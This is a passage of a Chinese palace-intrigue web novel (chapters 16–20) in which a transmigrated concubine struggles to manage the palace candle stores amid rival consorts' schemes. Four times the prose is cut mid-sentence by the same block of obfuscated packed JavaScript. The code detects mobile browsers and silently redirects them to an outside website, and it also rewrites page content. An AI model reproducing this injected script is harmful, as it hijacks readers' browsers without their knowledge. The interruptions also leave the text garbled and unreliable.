青纹文涓进屋收拾茶盏,阿箬芳荷也抢着帮忙。江舲觑着两人一脸兴奋,她无语地翻白眼,心思微动,直起身,道:“你们都坐吧。” 几人依言坐下,江舲道:“德妃娘娘让我管灯烛的事情,你们都知道了?” “是。”青纹文涓恭敬答是,阿箬与芳荷则喜滋滋道:“恭喜美人!” 江舲无视阿箬芳荷,连面对她们时,智商碾压的窃喜都消失殆尽。 比她们聪明,着实不值得高兴。 在两人看来,江舲这是掌管了宫务,手握实权。 自信与自负一字之差,很多人都分辨不清,至少阿箬芳荷是稀里糊涂。 她们被这点小权冲昏了头脑,不可多不想一想。既然是实权,赵德妃为何要分给她? 江舲要是避在繁英阁,哪怕对她再不满,要算计她,可没那么容易。 不做不错,做多错多,要是她管着事,要揪她的错处,那就容易多了。 眼下,赵德妃不顾她的想法,先请示了元明帝的允许,将事情硬生生塞到她手中。等于将她从繁英阁,拖到了众人面前,成了一面靶子。 “你们如何以为?”江舲看向青纹文涓,问道。 青纹顿了下,微笑着先恭喜了江舲,话说得滴水不漏:“皇上既然已经发话,德妃娘娘又亲自来与没人交代,美人再推辞,就显得张狂,连皇上与德妃娘娘的话都置之不理了。每日领多少灯烛,皆有定例,照着以前的规矩办便是。” 文涓眉毛微蹙,似乎不大同意青纹的说法。不过,她并未当面驳斥,只道:“偌大的后宫,每日成百上千支灯烛,数几十斤的灯油发放出去,差使琐碎。底下有尚寝局司灯司的宫女们当差做事,美人也不能掉以轻心,要不错眼看着,才不会出纰漏。” 江舲频频点头,对青纹与文涓,心中大致有了数。 两人都来自御前,江舲岂会天真到以为,御前的宫女内侍,皆对元明帝忠心耿耿。 青纹做事细致麻利,不争不抢,看上去沉稳可靠。说起话来,也面面俱到,让人挑不出错处。 江舲向来不喜如青纹的说话风格,主要是她听不懂里面的弯弯绕绕。青纹所言,对她来说等于毫无用处的废话。 赵德妃的用意,哪怕青纹猜不透,但她也肯定有所防备,对此却只字不提。 文涓的话就实在多了,清晰指出灯烛一事的琐碎麻烦。江舲听出了她的弦外之音,要是一个不察,说不定会惹来麻烦。 阿箬一听,暗自不屑翻白眼,道:“照着以前的规矩办便是,有甚难处!” 芳荷附和着道:“以前虽是德妃娘娘管着,如今交给了美人。尙寝局底下当差之人,还敢不听美人的话不曾!” 江舲掠过她们的话,愁得头发都快白了。 她本来就迟钝,最怕麻烦,与人打交道。底下的几人,除去文涓稍微能用,其他三人,青纹江舲不敢相信,阿箬芳荷不添乱她就阿弥陀佛。 赵德妃办事利落,江舲正准备用午饭,她已经差黄嬷嬷捧着账本,并钟尙宫方司灯一起到来。 黄嬷嬷脸上带着恰到好处的笑容,行动说话都极为客气,双手奉上账本,道:“江美人,这是娘娘差奴婢送来的账本,请江美人过目。” 青纹上前接过账本,奉到江舲面前,她伸手接过翻开扫了几眼,止不住眼前一黑。 账本上记着三个月的账目,每个月宫中统共的消耗,以及各宫的用量。 三个月的用量有高有低,各宫的用量也各不相同。 宫中讲究规矩,却又最没规矩,规矩只拿来制衡不得宠的宫女子。 宫中用的蜡烛,最贵属御制的蜂蜡,里面含有名贵香料,次一等的则是白蜡虫做所的白蜡。最差的是松蜡,乌桕蜡,石蜡,黑烟重,气味难闻。 这几种蜡烛的价钱相差巨大,含香料的蜂蜡,一支高达上百文。白蜡一支则在十文钱左右,松蜡等在五六文钱。 以前江舲在撷芳阁时,她的份例中有两支蜂蜡,两只白蜡。实际到手两支白蜡,阿箬芳荷一天只有半根松蜡。 各宫的廊檐,门口,夹道灯处悬挂的灯笼,因为要彻夜长明,皆用灯油。 如重华宫福庆宫等,灯烛并不按照规定的月例,每日可随意支取。灯油用量少,白蜡与蜂蜡数量差不多。 由此可见,这几处的灯笼,伺候的嬷嬷宫女,都是用的白蜡。 账本上还有突然用量变化大的记录, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975748|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人一天的用量,甚至超过一月的定例。 江舲看得头疼,盯着账本,半晌都没翻动。 黄嬷嬷很能察言观色,笑着解释道:“贵妃娘娘贤妃娘娘等有皇子公主在,几个老太妃上了年岁,身边伺候的人都马虎不得。皇上有旨,夜里一定要亮堂些。有时晚上皇上歇在某处,自不能缺了烛火。” 江舲明白过来,灯烛的发放,并无定量,且无规矩可参考。 在搬寝宫的时候,江舲已与钟尙宫见过,她能从后宫几百个宫女中做到五品女官,自是人精中的人精。 “江美人,奴婢与方司灯,以后都听从美人差遣,尙寝局还有其他几个司,若奴婢一时忙不过来,或者不在的时候,美人交代方司灯便是。” 除去司灯司,元明帝寝宫的司寝,后宫的园林花草,后妃需要的銮驾,软轿,都属于尚寝局。 方司灯年约三十岁左右,身形微丰,圆脸上挂着笑,看上去和善亲切。 司灯是六品,同样是在宫女中厮杀了出来。 “若奴婢做得不妥当之处,还请江美人多多指点,教导。”方司灯上前一步,恭敬无比,客气无比地屈膝下去,深深施礼。 两人原本在赵德妃手下当差,江舲努力打起精神应付,尽量委婉道:“我还不知道库房在何处呢,待用过午饭,麻烦你们随我一道去瞧瞧。” 赵德妃将账本扔过来,她不得不接,但决不能接得稀里糊涂。 差十根蜂蜡,就差了一两银。到时短缺了,她赔不起,也说不清楚。 黄嬷嬷笑道:“娘娘交代了奴婢,一定要与江美人清点清楚,免得数目对不上,” 用过午饭,江舲连午觉都没睡,晕晕乎乎前去库房盘账,黄嬷嬷钟尙宫方司灯一并前往。 恐灯烛走水,库房修在皇宫靠南面最僻静的角落。石墙厚重,门口放着灭火的大水缸,细沙。 守库房的小黄门,属于内侍省内藏库,并非尚寝局的人。 人员虽复杂,江舲觉着这样也好。互相牵制,好过同流合污。 灯油与蜡烛,分别放在两间库房。小黄门先打开放蜡烛的铁门,江舲望着堆得满满当当的一框框蜡烛,差点没晕过去。 内藏库不时会送蜡烛灯油进库房,灯烛在每日未时中开始发放,各宫当差的宫女内侍前来领取。 怪不得赵德妃那般爽快,安排黄嬷嬷主动提出交接。 江舲面临的并非盘库,而是进水出水的数学难题! 17.第十七章 方司灯恭敬地道:“美人,时辰不早,等下各处该有人前来领取灯烛,请容奴婢让人将蜡烛灯油抬出去备着。” 尙寝局的宫女们抬着几案,放在库房西侧的廊檐下,核计的典仪捧着笔墨,账册,在几案上一一摆放好。 江舲道好,“不能耽误了各处来领灯烛,你自管照着以前的安排去做。” 方司灯让宫女们抬了蜡烛出去,那边放着灯油的库房门也已经打开,江舲不禁走过去一看,头愈发疼了。 灯油用大瓮装着,瓮口用油布封实。宫女用铜勺舀到小些的罐子中,以油端子为计量,再分给各处。 打油难免会有损耗,而且会挥发。油端子打油,装满或只装七八分,全部倒进量斗,还是留有一些余油,皆掌控在尙寝局宫女之手。 灯油这一块,便是彻底的糊涂账。 江舲揉了揉眉心,果断放弃灯油这一块,先去清点蜡烛。 黄嬷嬷钟尙宫不远不近跟在身后,江舲眼珠一转,死道友不死贫道。 如今她勉强只有四个帮手,既然赵德妃将她拖进来,她拒绝不了,总要蹦跶一下。 “黄嬷嬷,钟尙宫,劳烦你们搭把手,帮忙一起清点,这般也能快一些。” 黄嬷嬷脸色微变,她反应极快,笑道:“若是平时,若用江美人开口,就是奴婢的不是了。只娘娘那里缺不得人,还请江美人且等等,奴婢回去请示过娘娘。” 江舲心中呵呵,她不擅长说场面话,尽量克制住没当场翻脸,木着脸点了点头。 钟尙宫神色为难,道:“皇上圣寿,奴婢不敢马虎。贵妃娘娘先前还差人来问銮驾之事,奴婢要还要赶着前去娘娘回话。可能请江美人通融一二,待奴婢去见过贵妃娘娘,再回来帮着点数?” 一听就是推诿之语,偏生让人无可指摘。江舲中午没歇息,本就精力不济。何况,她既然当了管灯烛的这个名头,钟尙宫就是她的属下。 黄嬷嬷她管不着,钟尙宫也可以离开去忙,尙寝局其他的宫女,总不会恰好全都脱不开身。 “你要去给贵妃娘娘回话不得空,差二十个司灯司的宫女来帮手就是。”江舲其实并不知尙寝局有多少宫女,人越多越好,随口喊了个数。 钟尙宫不见慌张,她苦笑了下,朝门外一指,道:“江美人,她们都在此处当差了。” 江舲顺眼看去,约莫十来个宫女,在廊檐下忙个不停,方司灯在旁边指挥安排,已经有人陆续前来领蜡烛灯油。 灯烛库房不能使用明火,到傍晚时分,宫中又必须掌灯,她们确实走不开。 江舲气得想骂人,难得的倔劲被逼了出来,对阿箬道:“你回去,将院中的人都叫来。” 繁英阁的粗使宫女内侍,连着门房,共有六人。加上阿箬她们四人,一共十人,总能快一些。 钟尙宫垂下眼皮,与黄嬷嬷皆未做声,先后施礼告退。 江舲叫上芳荷她们三人,走进蜡烛库房,一一吩咐下去:“芳荷青纹你们点蜂蜡,文涓你点白蜡,点好之后分开,别弄混了。” 三人领命上前,打开木框开始清点,江舲拿着账本,捋起衣袖在旁边计数。 过了一阵,阿箬带着六人一并到来。白蜡与乌桕蜡多,江舲将他们全部安排去点这两样。 库房内忙得不可开交,前来领灯烛的人越来越多,放好的蜡烛发放完了,方司灯带着宫女进来搬出去。 江舲见状,指着数好的蜡烛道:“你搬这里的。” 搬蜡烛的宫女没有动,看向方司灯等着她下令。江舲暗自冷笑,做好了要翻脸的准备。 方司灯很是恭谨地道:“是。” 宫女见状,起身走过去,抬手数好的蜡烛。 江舲的一肚皮火,便再也发不出来。 方司灯屈膝施礼退下,没一会,她走了进来,道:“江美人,内藏库送蜡烛与灯油来了。” 江舲愣了下,暗自哀嚎了一声。 原来,她还是太迟钝。赵德妃给她挖得最深的坑,并不在盘库,而是内藏库这一块! 内藏库是元明帝的私库,同时兼具着国库的功能。 宫中的一应吃穿用度,皆出自内藏库。内藏库的宦官,并宫中伺候的阉人,都隶属内侍内省。 除去各地进贡,市易务的监官勾当,负责采买柴米油盐等。送进宫后,由内物料监官接手,送到各处的库房。 内侍抬着蜡烛与灯油,鱼贯走进来。库监沈义走进来,转头四望,喊道:“方司灯,你人在何处?” 方司灯忙应出去,道:“沈库监,我在与江美人回话。灯烛这一块,德妃娘娘交给了江美人管着,以后灯烛这一快,皆要请示江美人。” 沈义顿了下,抬手朝缓缓走出来的江舲施礼:“奴婢沈义,前来送蜡烛灯油,请江美人示下。” 江舲打量着沈义,他面黑无须,身形肥硕,腰快与装油的大瓮一样粗。 内侍省的内侍品级虽低,却手握实权。历史上有名的宦官童贯,便是出自内侍省,权势滔天。 江舲得罪不起,干脆地道:“方司灯,照着以前的规矩,收起来便是。” 方司灯应是,沈义不动声色打量了江舲一眼,抬手告退,去与方司灯交接。 数好的蜡烛,很快被全部领走一空。内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979910|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏库送来的蜡烛,重新堆满了空处。 天色逐渐暗下来,灯烛发放完毕,宫女们开始收拾,库房到了关门时辰。 江舲清点了一下,角落只堆着十框点好的蜡烛。照库房的存货,以及赵德妃的心计来看,明天有九成以上可能,内藏库还会继续送进来。 辛辛苦苦忙碌一场,进水出水,最终做了无用功。 回到繁英阁,江舲躺在榻上,身体累,心累,连手指头都不想动。 用过晚饭后,江舲精神恢复了些,脑子重新转动起来,眼前顿时一亮。 翌日,用过早饭之后,江舲便带着人前往库房。她做好了打算,赶在下午司灯司发放灯烛前,将库房里的蜡烛等盘点清楚。 到了半晌午,蜡烛清点了一半,内藏库送了蜡烛以及灯油过来。方司灯与沈义一并来到库房,两人恭恭敬敬上前见礼。 江舲看到他们,脸色不由得泛白,内流成河。 从内藏库的宦官,市易务到内物料监官,到尚寝局,司灯司。 江舲估摸着,上下里外,没几人清白。 想到以前的灯烛被克扣过,江舲估计,灯烛这一块的账目,已经烂不可闻,赵德妃要急于甩开。 沈义送来的灯烛,江舲若是认真清点,无论数目能否对上,对她都没好处。 数目若不对,她要是铁面无私揭发,连着内藏库尚寝局司灯司,甚至掌管宫务的林贵妃柳贤妃,一并得罪得干干净净。 后宫的宫务,还有吃穿住行等。灯烛这一块出事,会拔出萝卜带出泥,牵连甚广。 她要是装聋作哑只当不知,短缺的部分,则要她来承担。 若是数目对得上,这才更恐怖。 毕竟,沈义的举动,等于是主动将灯烛送到她面前,逼着她清点。 对此举,她毫无头绪,完全猜不到他们的用意。 江舲敢断定,她就算放弃盘库,暂时蒙混过去,肯定还有后招等着她。 赵德妃挖的这个坑,真真深不见底。 江舲感到自己像是只小绵羊,被猛虎赵德妃驱赶着,眼睁睁往里面跳! 不待江舲反应,那边沈义已经招呼内侍:“江美人人手少,你们赶紧将框子打开,一支支点数,可不能错了!” 内侍赶紧忙碌起来,一支不落,认真地清点着蜡烛。 江舲呆呆望着眼前的一切,神思恍惚觉着,黄嬷嬷钟尚宫躲着不肯搭手帮忙,并非是给她下马威。 而是欲擒故纵,故意引着她坚持盘库! 实在是太可怕,江舲禁不住浑身冰凉,惊恐不安。 他们究竟要做甚? 18.第十八章 赵德妃看似意外,又不觉着意外。她微微愣了下,脸上笑容不变,道:“江妹妹为何会这般问,莫非,江妹妹以为我不安好心,要陷害妹妹不成?” 江舲上辈子是拆二代,除去拆迁分配的几套房,她家还有几间门面,全部出租了出去。 大学毕业后做过一段时间的社畜,因为性格原因,加上实在受不了上司同事所谓的“说话艺术”,毅然决然辞了职。 穿到宫斗书中,江舲坚决认为是上苍对她的惩罚。毕竟,做包租婆的日子实在是太舒服,她是来这里渡劫了。 听到赵德妃并不正面回答,反将问题抛了回来,江舲仿佛回到了打工的那段岁月。不过,那时远不能与现在相比,上司不说人话,她可以甩手走人。对着赵德妃,江舲只能死忍,将先前的问题,再次问了一遍。 “我没本事,无功不受禄。娘娘的好意,我承受不起。我这个人笨得很,真听不懂弦外之音,也不会察言观色。请娘娘还是直说了吧。” 她的话,带着些咄咄逼人,且有些置气的况味了。赵德妃缓缓收回手,脸上笑容不变,目光却淡了下来。 “江妹妹这句话真有趣,都是后宫的姐妹,管着后宫的宫务,也是皇上亲口应允。既是皇上的旨意,你我若是反对,就是抗旨不尊了。” 江舲听赵德妃话里话外,拿着规矩,元明帝来压人,真真是一肚皮的火。她越生气,脑子越迟钝,一时什么话都说不出来。 “江妹妹啊!”赵德妃叹息一声,拍了拍锦被,一脸的无奈。 “不知多少人想着能管着点事,无论权大权小,终究是权。那些男儿读书靠考功名,出仕当官,所为不过皆是一个权字罢了。” 赵德妃不动声色端详着江舲,此时话锋一转:“只这权,有人能握得稳,有人握不住,最终落了个鸡飞蛋打的下场。” 江舲听得一头雾水,木着脸道:“娘娘,我愚笨得很,真听不懂娘娘在说甚。” “江妹妹哪就愚笨了,真正愚笨的人,可不会以为自己笨。” 赵德妃抬起手,用帕子挡住嘴,咯咯笑了起来:“江妹妹真正是个妙人儿,生得好,大智若愚,我要是个男人,都想娶了回去,怪不得皇上能放在心上。” 江舲听得后背发寒,被赵德妃夸赞,当做是聪明人看待,绝非好事。 “妹妹可是在为库房的蜡烛灯油烦恼?”赵德妃笑罢,不紧不慢问道。 江舲见赵德妃终于说起了正事,忙干脆地应是,“我怕库房灯烛数目有误,到时候若短缺了,我赔不起。” 赵德妃道:“江妹妹真是多虑了。我接过库房的时候,从没点清究竟有多少灯烛。多点一支蜡,一油端子灯油,也是常有之事。反正照着定例,给了各处就是。” 江舲听得一怔,赵德妃所言之意,灯烛本就是一笔糊涂账,她休想点清。 既然如此简单,赵德妃为何要将这一块的差使交给她,沈义与黄嬷嬷他们,都故意让她去点数? “江妹妹这一点,让内藏库那边,只怕该恼火了。”赵德妃不咸不淡说了句。 江舲一震,她反应过来,只点库房本没事,内藏库以及内侍省,才是重要之处。 沈义趁着她在库房的时候送灯烛上门,意在试探她。说不定,她已经暗中得罪了内藏库。 赵德妃的意图,难道是要借内藏库之手,来对付她? “妹妹你可知晓,这供给宫中的御制蜂蜡,白蜡,胡麻油,是谁的买卖?” 江舲已经彻底糊涂了,傻乎乎地摇头,“我不知。” “白蜡以蜀州最上乘,当地百姓多养白蜡虫,熬煮白蜡。蜂蜡亦如此,大多出自蜀州。胡麻多产自陕州,甘州,灵州。蜀州与三地相邻,胡麻经由蜀州,一并送入京城,制成胡麻油。” 赵德妃淡淡道:“林贵妃祖籍蜀州,林氏一族,在蜀州赫赫有名。京城林氏,乃是蜀州林氏的嫡支。” 江舲瞪大了眼,惊诧道:“娘娘是说,宫中的灯烛,皆是贵妃娘娘家的买卖?” 赵德妃并未回答,只笑道:“时辰不早,我得回去了。江妹妹好生歇着吧,若有不明白之处,来问我就是。我若能帮着江妹妹,定不会推脱。” 送走赵德妃,江舲靠在软囊上,呆呆出神。 灯烛究竟是谁的买卖,赵德妃撒不了谎,一查就能得知。 她先前称自己从没点清过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984769|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯烛的数量,江舲已经盘点过,最大的阻力与麻烦,在内藏库。 原书中,赵德妃与林贵妃是死对头,要是内藏库送进来的灯烛有问题,她岂会放过能打击林贵妃的机会。 天底下并无新事,林氏能掌握宫中灯烛的买卖,内藏库那边自然少不了好处,他们是一条绳上的蚂蚱。 赵德妃没动手,要么是她手上的证据不足,要么是她有所顾忌,无十足的把握对付林贵妃。 亏得她先前自作聪明,以为赵德妃把灯烛这一块交给她,是为了挑她的错处,拼命想要将差使做好。 殊不知,她的一切举动,全在赵德妃的预料算计中。 既然宫中所用灯烛,是林贵妃娘家的买卖。在江舲接手时,若要以示善意,当会前来找她。 林贵妃并未出现,她则上蹿下跳,赵德妃的人,都对她看上去客客气气,言听必从。 江舲再前后一想,赵德妃的话便不难以理解,一切旨在拉拢她。 在莫名其妙中,与赵德妃绑在了一起,成了她的人。 小喽啰与手下,必须能背锅,挡刀,一般会先被牺牲掉。 林贵妃不苟言笑,看似严厉一板一眼。既然赵德妃都不敢轻举妄动,只怕她在林贵妃手上,一招半式都走不了。 赵德妃以前还对她可有可无,处心积虑做这些,定是看在她住进了繁英阁,能有些用处。 弄得这般复杂,赵德妃所图不小,不知何时会大闹一场。 江舲几乎快哭了,暗自将元明帝骂了一通。 都怪他,突然发疯封她为美人,搬进繁英阁,让她成了宫中高手们的猎物。 已到午饭时辰,文涓提着饭食回来,青纹送热帕热水进屋,收拾茶盏。 江舲实在没力气动,擦拭过手脸,吩咐文涓将饭菜摆在矮案上,就在榻上用饭。端起碗,喝了口暖呼呼的鸡汤,不禁自嘲苦笑。 天气冷下来,食盒底下放了炭火保暖,饭菜都还热着,鲜美可口。 晋升之后,并非全无好处,至少能吃到新鲜暖和的饭食。 江舲正闷头苦吃时,阿箬急匆匆掀帘进屋,兴奋地道:“美人,美人,皇上来了!” 19.第十九章 吃睡是江舲平生最爱,更是穿书之后唯一期待之事。 听到罪魁祸首元明帝到来,江舲心里的烦躁,止不住蹭蹭往上冒。先前还吃得津津有味的饭菜,顿时味同嚼蜡。 江舲放下筷子,板着脸准备下榻迎接。元明帝大步进了次间,抬看到矮案上摆着的吃食,愣了下,道:“坐着吧,身子可好些了?” “多谢皇上关心,臣妾还是有些不舒服。”江舲睁着眼睛说瞎话,顺势坐了回去,心中演起了大戏:“我不好啊,我怎么会好,连个饭都吃不清净!你究竟是什么意思,你是故意的对不对,早不来晚不来,偏偏在这个时候来!” 元明帝:“.......” 他神色十分复杂,上下打量着江舲,怀疑她并非肚子不舒服,而是生了癔症,疯了。 “既然不舒服,传朕口谕,宣太医......”元明帝想了想,还是大发慈悲,宣太医来给她诊治。 江舲一听,顾不得规矩,赶紧打断了元明帝:“皇上,臣妾......” 说到这里,她眼珠微转,很是机灵地道:“臣妾身子弱,累不得,需要好生修养。臣妾恳请皇上收回成命,以后灯烛处的差使,还是由其他姐妹们管着为好。” 元明帝呵呵,她那点小心思昭然若揭,还赶在他面前耍心机! 赵德妃提起将灯烛处的差使交给江舲时,元明帝当即就一口应了。 她成天除了吃便是睡,懒惰,不学无术,粗鄙,坏脾气等等,毛病简直数不胜数。 元明帝看不得她太闲,哪能如她的愿,道:“若是身子弱,便不能多食,仔细积食伤身。朕会传令下去,以后你的吃食,改为清粥。” “草!”江舲偷鸡不成蚀把米,一下怔在那里,心里狂骂:“牛粪哥就不是好东西,沾上他果然会倒大霉,不如饿死算逑!” 元明帝听到熟悉的“牛粪”,原本看到江舲吃瘪的得意,一下消散了,脸色难看起来。 江舲苦苦思索着对策,嘴不听使唤地道:“皇上,臣妾好了!” “呵呵,说来奇怪,估计有神仙保佑,臣妾觉着已经痊愈大好,能如常用饭菜了!”江舲自己也感到着实生硬,努力地解释着。 元明帝实在听不下去,不禁无语长叹。他若是与她计较,反倒显得他小肚鸡肠,跟一个傻子置气了! 文涓奉上热茶,元明帝再看向呆愣的江舲,又觉着憋屈得很,不耐烦道:“去传膳!” 文涓奉命退下,元明帝斜撇向江舲,气愈发不顺了。 得知她身子不舒服,亲自前来看她,得她一通抱怨编排,连他可曾用膳的问候都不曾听见! 次间是起居之所,元明帝起身去了厅堂。江舲只能起身跟了出去,规矩立在一旁。 宫女内侍捧着热水帕子,提着食盒鱼贯进入。元明帝净手之后坐下来,对还木楞站着的江舲道:“哟,你身子不舒服,可还站得稳?” 江舲见元明帝出言讽刺,头垂得更低,呐呐道:“臣妾能站稳。” 元明帝鼻孔中喷出一声,道:“坐吧。” 江舲赶忙谢恩后入座,等元明帝拿起筷子用膳,她也赶紧继续吃起来。 御膳更为新鲜可口,食不言寝不语,江舲闷声不响吃得很是满足。 元明帝讲究养生之道,膳食只用七分饱。他看到江舲将饭菜吃得干干净净,想到她先前已经吃过一半,端详着她半晌,终究没有做声。 若他让她少吃些,她肯定会在背后嘀咕他小气,连饭都不让人吃饱,她不活了! 饭后元明帝要午歇,今朝已经耽搁得迟了些。疲倦袭来,他放下茶盏,起身往卧房走去:“歇着吧。” “什么意思,一起睡吗?”江舲双目圆瞪,浑身都变得僵硬。 元明帝深吸一口气,气得转身掉头就走。 都怪他瞌睡得糊涂了,混账成天以为他会与她困觉,真是想得美! 元明帝突然一言不发离开,江舲只感到莫名其妙。不过,江舲转念一想,很快就放松了下来。 帝王多疑,恐会被暗杀,不会随便歇宿在后妃的宫中。 江舲打着呵欠,回到卧房躺下,望着帐顶,想着这些天的纷扰。 不管赵德妃是何心思,她只坚持一件事,尽力不牵扯进她们的争斗中。 一来她没那个本事,必须认清自己的不足。二来她势单力弱,跟她们斗,无异于以卵击石。 最重要的一点,她认为要斗,总要有个目标。 她的目标是清清静静,自在舒服地活着。繁英殿安宁静谧,吃穿不愁,这样过一辈子已经很好。 库房那边反正有尚寝局的人在,她只做甩手掌柜,绝不会去沾手。 打算好之后,江舲心头一松,香甜地睡了过去。 美美一觉睡到未时中起身,阿箬芳荷前来伺候江舲梳头。文涓进来问道;“美人,库房那边已经开始发放灯烛,美人可要过去?” “不去了,有钟尙宫方司灯她们在呢。”江舲干脆地道。 文涓犹豫了下,道:“后日便是皇上圣寿,筵席上的灯烛,要提前支取。美人还是去看着些,断不能出了纰漏。” 元明帝的圣寿,白日要接受朝臣恭贺,晚间在揽月殿摆筵,需要大量的灯烛。 江舲没想到这一出,开始头疼起来。 虽说元明帝的寿辰,从上到下,估计无人敢触他霉头,不大会出事。 毕竟有中秋筵席的事情在先,江舲无法彻底放心。她哀嚎一声,认命地去了库房。 方司灯与沈义都在,江舲问道:“皇上圣寿的灯烛,可有准备好?” 沈义答道:“美人放心,奴婢已经差人送进库房。” 方司灯跟着道:“先前尙仪局的人已经来打过招呼,待明日一早会前来领取。” 江舲煞有介事点头道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998673|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“好,皇上的圣寿马虎不得,你们要好生当差,莫要出差错。” 沈义方司灯齐声应下,江舲没再多言,前去库房四下查看。 库房堆满了框子,内侍还在陆陆续续送进来。江舲勉强放了心,略微停留片刻,便回了繁英阁。 阿箬拿着一只荷包进来,道:“奴婢已经替美人做好了,美人只需再绣上几针收尾。” 江舲接过青色锦缎,绣松竹的荷包,问道:“这是做给我的荷包?” 阿箬道:“美人怎地忘了,皇上过圣寿,大家都要送礼。往年美人都是送荷包,今年奴婢也做了一只。” 江舲讪笑,她压根没想过送礼之事,也不会针线,道:“你且做完就是,我的针线不好,免得被我弄坏了。” 阿箬心道也是,将余下的几针补上去,再给江舲收了起来。 翌日,尙仪局领走了灯烛,一切都平安无事。 江舲长长舒了口气,又过了一天,到了元明帝的寿辰。 后宫中的嫔妃,皇子公主齐齐来到揽月殿。按照品级高级,庄重地向元明帝行朝贺大礼,献上贺礼。 江舲排在美人份的最末,才人之前。夹在众人中,控制不住地焦灼不安,听着内侍的唱礼。 林贵妃赵德妃她们送的礼,贵重且花了心思。有亲手所做的字画,亲手抄的经书,玉器古玩等。 江舲拿着荷包,心虚地偷偷打量,见也有人与她一样拿着荷包,心下稍定。 轮到她时,江舲心怦怦直跳,手心濡湿。她学着其他人道贺的词,干巴巴道:“臣妾恭祝皇上圣寿天齐,江山永继!” 元明帝觑着江舲手上的荷包,眼中浮起嘲讽冷笑。 果真,她半点都不上心,一个破荷包,亏她也拿得出手! 到底在人前,元明帝暂且忍了,不与她一般见识,抬手让她平身。 江舲实在是不喜。也不适应这种场合。待落座之后,感到浑身都发软,简直快要了她半条命! 才人以及庶妃们继续朝贺,江舲并未松弛下来。她不时看向殿中的灯烛,生怕出了差错。 手臂粗的蜂蜡,将大殿照得亮如白昼,散发着淡淡的幽香。 终于,所有宫女子都朝贺完毕,筵席正式开始。与中秋筵席一样,乐师弹奏起悠扬的乐声,舞姬随之起舞。 皇子公主们年岁尙幼,并未献贺礼。大皇子萧允瑞拿着一幅字出列,上前见礼。 江舲顺势看去,这时,她发现放置在丹陛铜烛台上的蜂蜡,火苗晃动,似灭非灭。 “儿写了一副大字,送与爹爹,儿愿爹爹长命百岁,福寿与天齐。” 元明帝甚是高兴,命萧允瑞上前,道:“大郎的字,朕一定要好生瞧瞧,如今可有进步。” 萧允瑞拿着字走上丹陛,奉上卷轴。元明帝接过展开,正待欣赏时,眼前一暗。 丹陛坐后侧的蜂蜡,两盏接连熄灭! 20.第二十章 殿内灯烛明亮,若是熄灭一两盏蜡烛,本不会引起太大的注意。 只丹陛位置太显眼,底下的一众嫔妃,皆神色各异。 元明帝侧首望去,脸色微沉,他不曾说话,拿着萧允瑞的大字,垂眸看起来。 黄梁随侍左右,见状赶紧亲自上前,欲将重新点亮蜂蜡。他顿了下,取下蜂蜡拿在手中,唤来心腹交给他,低声吩咐道:“速速前去,重新取几只蜂蜡来。” 内侍悄无声息退下,没一阵取来蜂蜡点了。丹陛上恢复了明亮,元明帝夸赞了萧允瑞的大字,再严肃叮嘱了一番不可骄傲:让他退下了。 萧允珏不甘落后,拿着自己的大字,蹬蹬瞪跑了上去,道:“爹爹,儿也给爹爹准备了寿礼。” 元明帝佯装板着脸,声音中带着笑意道:“你个泼皮,难得肯写字,朕倒要好生瞧了。” 萧允珏嘻嘻笑着,奉上他写的大字。平时他淘气,性情霸道,元明帝对他便严厉了些,当场指点起他的字来:“瞧你这一笔,写得歪歪扭扭,定是心不静,急着写完好去玩耍,回去多写几篇。不可躲懒,朕可要好生检查。” “哎呀爹爹!”萧允珏一跺脚,扭着胖身子敷衍道:“知道了知道了。”说完,抬手胡乱一礼,蹬蹬瞪跑了回去。 林贵妃面无表情正襟危坐,萧允瑞与她眉眼神情都肖似,紧绷着脸,坐在那里一动不动。 萧允珏坐下来之后,便迫不及待拿起点心吃了起来。赵德妃慈爱地望着他,拿起一块点心,轻咬了一口,与旁边的柳贤妃说着闲话:“看着阿珏吃东西,我都觉着香甜,跟着胃口大开。” 